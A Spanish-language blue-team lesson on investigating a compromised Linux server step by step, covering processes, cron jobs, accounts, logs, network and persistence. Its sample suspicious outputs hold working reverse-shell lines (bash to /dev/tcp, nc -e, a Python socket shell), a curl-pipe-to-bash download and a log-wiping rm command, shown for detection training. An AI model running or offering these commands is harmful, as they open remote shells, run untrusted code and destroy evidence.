← Regresar a lecciones
  • penetration testing

  • blue-team

  • digital forensics

  • linux security

  • system hardening

Guía de Investigación de Incidentes para Analistas Blue Team

Paso 1: Observación general del sistema
  • Comprobaciones sugeridas:

Esta guía está diseñada para ayudarte a investigar de manera metódica un incidente en un servidor Linux comprometido. Más que una simple lista de comandos, se trata de una secuencia de pasos guiados con preguntas clave que te permitirán detectar actividad sospechosa, identificar mecanismos de persistencia y aplicar una lógica defensiva sólida, tal como lo haría un analista Blue Team profesional.

Aprender a realizar esta investigación de forma manual no solo fortalece tu criterio analítico, sino que te prepara para enfrentar escenarios reales donde las herramientas automatizadas pueden fallar, estar ausentes o incluso haber sido manipuladas. Además, en muchos entornos restringidos o durante evaluaciones como certificaciones técnicas, no se permite su uso. Esta metodología te enseña a detectar patrones, anomalías y correlaciones por ti mismo, y a justificar cada acción con argumentos sólidos, algo fundamental en contextos forenses y de ciberseguridad profesional.

Paso 1: Observación general del sistema

Preguntas clave:

  • ¿Está el sistema respondiendo más lento de lo habitual?
  • ¿Está usando CPU, RAM o red de forma extraña?

Comprobaciones sugeridas:

1uptime

uptime Muestra cuánto tiempo lleva encendido el sistema y su carga promedio en 1, 5 y 15 minutos.

¿Qué observar? Una carga desproporcionada que puede indicar procesos intensivos o loops maliciosos.

1free -h

free -h Muestra el uso de memoria RAM y espacio de intercambio (swap) en formato legible.

¿Qué observar? Uso excesivo de swap o poca memoria libre en reposo.

1top # o htop

top Muestra procesos activos ordenados por consumo de CPU o RAM, en tiempo real.

¿Qué observar? Procesos como python, nc, bash, perl, con alto uso de CPU sin justificación.

1ip a

ip a Muestra interfaces de red, direcciones IP, estado de las interfaces.

¿Qué observar? Interfaces no esperadas como tun0, docker0, o IPs que no pertenecen a tu red.

Paso 2: Revisar procesos activos

Un atacante que ha conseguido acceso al sistema probablemente ejecutará procesos para establecer control, exfiltrar información o mantener persistencia. Revisar los procesos en ejecución te permite detectar actividad fuera de lo común, como shells interactivas, túneles, scripts remotos o procesos disfrazados. Este paso es crucial para identificar malware en memoria o ejecuciones sin archivo.

Preguntas clave:

  • ¿Hay procesos con nombres extraños o ubicaciones inusuales?
  • ¿Hay procesos ejecutándose como root que no deberían estar?
1ps aux --sort=start_time

ps aux --sort=start_time lista todos los procesos activos, con información detallada: usuario, uso de CPU, memoria, tiempo de inicio, comando, etc.
El flag --sort=start_time los ordena por tiempo de arranque, es decir, los que se ejecutaron más recientemente aparecen al final (útil para detectar procesos recientes).

Ejemplo de salida sospechosa:

1root 20312 0.0 0.1 34500 4200 ? Ss 11:05 0:00 /bin/bash -c bash -i >& /dev/tcp/192.168.1.5/4444 0>&1 2nobody 20344 0.0 0.2 19100 5100 ? S 11:05 0:00 nc -e /bin/bash 192.168.1.5 4444

¿Qué observar?

  • Procesos ejecutados por root que no reconozcas
  • Comandos sospechosos: nc, curl, python, bash, sh, perl
  • Procesos desde rutas raras: /tmp/, /dev/shm/, /opt/.hidden/
  • Comandos que se ven truncados o incompletos (podría ocultar algo)
1pstree -p

pstree -p muestra una vista jerárquica de procesos en forma de árbol. Ideal para ver quién lanzó qué, especialmente si hay procesos hijos ejecutados desde shells ocultas.

Ejemplo de salida sospechosa:

1systemd(1)─┬─cron(623)───bash(10233)───python(10260) 2 └─sshd(1100)───sshd(2044)───bash(2045)───nc(2046)

¿Qué observar?

  • cron o systemd lanzando procesos que no deberían
  • Procesos huérfanos (sin padre conocido)
  • Ramas con scripts inusuales como python, bash, sh, perl saliendo de procesos confiables
  • Jerarquías inesperadas (por ejemplo: sshd → bash → nc)
1ps aux | grep -v "[" | less

Este comando es útil para concentrarte en procesos de usuarios o scripts, ignorando el “ruido” de procesos internos del sistema.

  • ps aux: lista todos los procesos activos del sistema, con información sobre el usuario, el consumo de CPU y memoria, el tiempo de inicio y el comando ejecutado.
  • grep -v "[": filtra las líneas que contienen corchetes ([ ]), típicamente usadas por procesos del kernel o internos del sistema (por ejemplo, [kthreadd]).
  • less: permite navegar por la salida de forma cómoda y paginada.

Ejemplo de salida sospechosa:

1student 4383 0.0 0.1 15600 2800 ? S 11:11 0:00 bash 2student 4390 0.0 0.0 12345 1600 ? S 11:11 0:00 python -c 'import socket,os,pty; s=socket...' 3root 4402 0.0 0.0 17800 2100 ? S 11:11 0:00 sh /tmp/.hidden/backup.sh

¿Qué observar?

  • Procesos que no reconozcas como parte del sistema operativo o tus herramientas instaladas
  • Ejecuciones directas de shells (bash, sh) fuera de sesiones interactivas
  • Uso de intérpretes como python, perl, php para ejecutar scripts desde rutas inusuales
  • Presencia de proxies, túneles o shells reversas (ssh -R, curl, wget, socat, nc)

Paso 3: Revisar tareas programadas (cronjobs)

Las tareas programadas pueden ser utilizadas por atacantes para mantener persistencia en el sistema, ejecutar shells reversas o automatizar malware.

Preguntas clave:

  • ¿Hay tareas ejecutadas por root que no reconozco?
  • ¿Se ejecutan scripts desde rutas inusuales o ocultas?
  • ¿Hay tareas que se repiten cada pocos minutos sin justificación clara?
  • ¿El nombre del script o la tarea parece disfrazado o engañoso?
1ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l

Este conjunto de comandos ayuda a identificar tareas programadas de forma persistente, tanto a nivel de sistema como por usuarios individuales.

  • ls /etc/cron.d/: lista los cronjobs definidos por el sistema.
  • cat /etc/cron.d/*: muestra el contenido de los cronjobs ubicados en esa ruta.
  • crontab -l: lista las tareas programadas del usuario actual.

Ejemplo de cronjob malicioso:

1*/5 * * * * root bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

¿Qué observar? Tareas ejecutadas por root cada pocos minutos sin justificación clara o scripts con rutas inusuales como /tmp, /opt/.scripts/, .backup, .monitor

¿Cómo saber cada cuanto tiempo se ejecuta un cronjob?

La sintaxis de un cronjob tiene 5 campos de tiempo:

CampoValorSignificado
Minuto*/5Cada 5 minutos (00, 05, 10, ..., 55)
Hora*Todas las horas (00–23)
Día del mes*Todos los días del mes
Mes*Todos los meses
Día de semana*Todos los días de la semana

En caso de que quieras para verificar o visualizarlo, puedes usar herramientas como: https://crontab.guru. Solo copia y pega */5 * * * * y verás una explicación en texto claro.

Paso 4: Revisión de usuarios y accesos

Una de las formas más comunes de persistencia es la creación de usuarios ocultos o el abuso de cuentas existentes con shells activas. Es fundamental revisar quién tiene permitido acceder al sistema de forma interactiva.

Preguntas clave:

  • ¿Hay cuentas desconocidas o no documentadas?
  • ¿Existen usuarios con directorios home o shells inusuales?
  • ¿Se ha creado alguna cuenta con nombre genérico (ej. backup, test, data, etc.)?
  • ¿Cuentas del sistema están configuradas para permitir acceso interactivo?

Comando útil:

1cat /etc/passwd | grep -v "/usr/sbin/nologin"

Muestra los usuarios del sistema que tienen acceso a una shell interactiva, excluyendo cuentas del sistema o bloqueadas (como las que usan /usr/sbin/nologin).

Ejemplo sospechoso:

1backup:x:1003:1003::/opt/backup:/bin/bash 2sysadmin:x:1010:1010::/var/tmp/sysadmin:/bin/sh

¿Qué observar?

  • Usuarios no documentados o creados sin justificación (por ejemplo: backup, sysadmin, datauser)
  • Shells diferentes a /bin/bash o directorios home inusuales (como /var/tmp/, /opt/)

Comando útil:

1last -a

last -a Muestra los últimos inicios de sesión del sistema, indicando el nombre de usuario, la terminal utilizada, la dirección IP y la duración de la sesión.

Ejemplo sospechoso:

1admin pts/0 203.0.113.45 Tue Jun 11 03:24 still logged in

¿Qué observar?

  • Conexiones desde IPs públicas o desconocidas
  • Horarios atípicos que no coincidan con la actividad esperada del sistema

Comando útil:

1grep "Failed password" /var/log/auth.log

Busca intentos fallidos de autenticación, normalmente relacionados con accesos SSH o servicios que requieren contraseña.

Ejemplo sospechoso:

1Failed password for invalid user admin from 203.0.113.45 port 51190 ssh2 2Failed password for root from 203.0.113.12 port 58721 ssh2

¿Qué observar?

  • Ataques de fuerza bruta desde una misma IP
  • Intentos de acceso con nombres de usuario inválidos o desconocidos

Paso 5: Revisar logs del sistema

Los archivos de log son una fuente vital para reconstruir lo que ocurrió en un sistema. Permiten rastrear accesos, comandos ejecutados y errores que podrían haber sido causados por un atacante. Analizar los logs clave del sistema te ayuda a detectar actividad anómala, identificar accesos remotos, intentos de fuerza bruta o ejecución de comandos no autorizados.

Preguntas clave:

  • ¿Se registraron accesos inusuales por SSH?
  • ¿Se ejecutaron comandos sospechosos o fuera de horario?
  • ¿Hubo intentos de autenticación fallidos desde la misma IP?
  • ¿Existen huecos en los logs que indiquen eliminación o manipulación?
1grep -i "ssh" /var/log/auth.log

Muestra líneas del log relacionadas con conexiones SSH (éxito y error).

Ejemplo de salida sospechosa:

Accepted password for root from 203.0.113.5 port 50100 ssh2

¿Qué observar?

  • Conexiones desde IPs públicas o desconocidas
  • Actividad fuera de horario habitual

Comando útil:

1journalctl -xe

journalctl -xe Muestra eventos críticos del sistema, incluyendo fallos, accesos, y errores de servicios.

Ejemplo de salida sospechosa:

sshd[1402]: Failed password for invalid user admin from 198.51.100.77 port 41442

¿Qué observar?

  • Servicios fallando repetidamente
  • Actividades relacionadas con sshd, cron, network, bash

Comando útil:

1cat ~/.bash_history

cat ~/.bash_history Muestra los últimos comandos ejecutados por el usuario actual en su terminal.

Ejemplo de salida sospechosa:

curl http://malicious.site/shell.sh | bash
chmod +x /tmp/cleaner.sh
rm -rf /var/log/*

¿Qué observar?

  • Comandos relacionados con conexión a red (nc, curl, wget, scp)
  • Manipulación de logs o archivos sensibles
  • Scripts lanzados desde ubicaciones sospechosas

Paso 6: Revisión de red y firewall

El tráfico de red y las reglas del firewall pueden revelar mucho sobre la actividad de un sistema comprometido. Los atacantes suelen abrir puertos adicionales, establecer túneles de salida o modificar reglas de firewall para mantener el control o evadir detección. Inspeccionar los puertos en uso y las reglas activas es clave para detectar conexiones sospechosas o salidas no autorizadas.

Preguntas clave:

  • ¿Hay puertos abiertos que no deberían estarlo?
  • ¿Existen reglas sospechosas en iptables?
  • ¿Hay conexiones activas hacia IPs externas no reconocidas?
1ss -tuln

Muestra sockets abiertos y servicios escuchando en puertos TCP/UDP.

Ejemplo de salida sospechosa:

LISTEN  0  5  0.0.0.0:4444  0.0.0.0:*  users:("bash",pid=20312,fd=3)

¿Qué observar?

  • Puertos abiertos fuera de lo común (ej: 4444, 8080, 9001)
  • Servicios que no deberías estar exponiendo (como nc, python3 -m http.server)

Comando útil:

1iptables -L -n -v

iptables -L -n -v Lista reglas del firewall activas, sin resolver nombres DNS.

Ejemplo de salida sospechosa:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0

¿Qué observar?

  • Reglas de ACCEPT demasiado permisivas
  • Falta de reglas en servidores expuestos públicamente

Paso 7: Detección de persistencia y backdoors

Una vez que un atacante compromete un sistema, suele dejar mecanismos para volver a ingresar sin necesidad de explotar la misma vulnerabilidad. Estas persistencias pueden estar en forma de scripts que se ejecutan al iniciar, servicios falsos, tareas programadas o incluso binarios modificados. Detectarlas a tiempo es esencial para cortar el acceso del atacante y restaurar la integridad del sistema.

Preguntas clave:

  • ¿Hay scripts ocultos en directorios sensibles como /etc/init.d/, /lib/systemd/, /opt/, /tmp/?
  • ¿Existen servicios nuevos o modificados recientemente?
  • ¿Hay comandos o rutas sospechosas asociadas a procesos persistentes?

Comando util:

1ls -la /usr/local/bin/

Muestra archivos ejecutables locales personalizados.

Ejemplo de salida sospechosa:

-rwxr-xr-x 1 root root  1243 Jun 11 11:05 updater.sh

¿Qué observar? Scripts o binarios con fechas recientes o nombres extraños o permisos ejecutables sobre archivos sospechosos

Comando útil:

1find /opt -type f -iname "*.sh"

Busca scripts .sh en todo el directorio /opt, comúnmente usado para almacenamiento auxiliar.

Ejemplo de salida sospechosa:

/opt/.backup/install.sh
/opt/data/cleanup.sh

¿Qué observar? Scripts con nombres ambiguos o maliciosos (check.sh, cleaner.sh, update.sh)

Comando útil:

1cat /etc/rc.local

Muestra el contenido del script de inicio rc.local, si está habilitado.

Ejemplo de línea maliciosa:

bash -i >& /dev/tcp/192.168.1.50/9001 0>&1

¿Qué observar? Comandos que ejecutan scripts al inicio del sistema o redirecciones hacia IPs externas

Comando útil:

1systemctl list-units --type=service --state=running

Muestra servicios activos gestionados por systemd.

Ejemplo de salida sospechosa:

logrotate-backup.service loaded active running Backup Service

¿Qué observar? Servicios con nombres poco comunes o duplicados o scripts que no deberían iniciar con el sistema

Paso 8: Confirmar hallazgos y actuar

Documenta tus hallazgos con capturas o evidencias, enumera qué eliminarías, qué bloquearías y qué reforzarías y si es posible, comparte los hallazgos con otro compañero para validación.

Preguntas clave:

  • ¿Puedes explicar qué está pasando?
  • ¿Identificaste procesos, usuarios, tareas o conexiones implicadas?

En resumen: Esta metodología es profesional, pedagógica y aplicable a entornos reales. Las herramientas pueden ayudar, pero el criterio del analista es insustituible.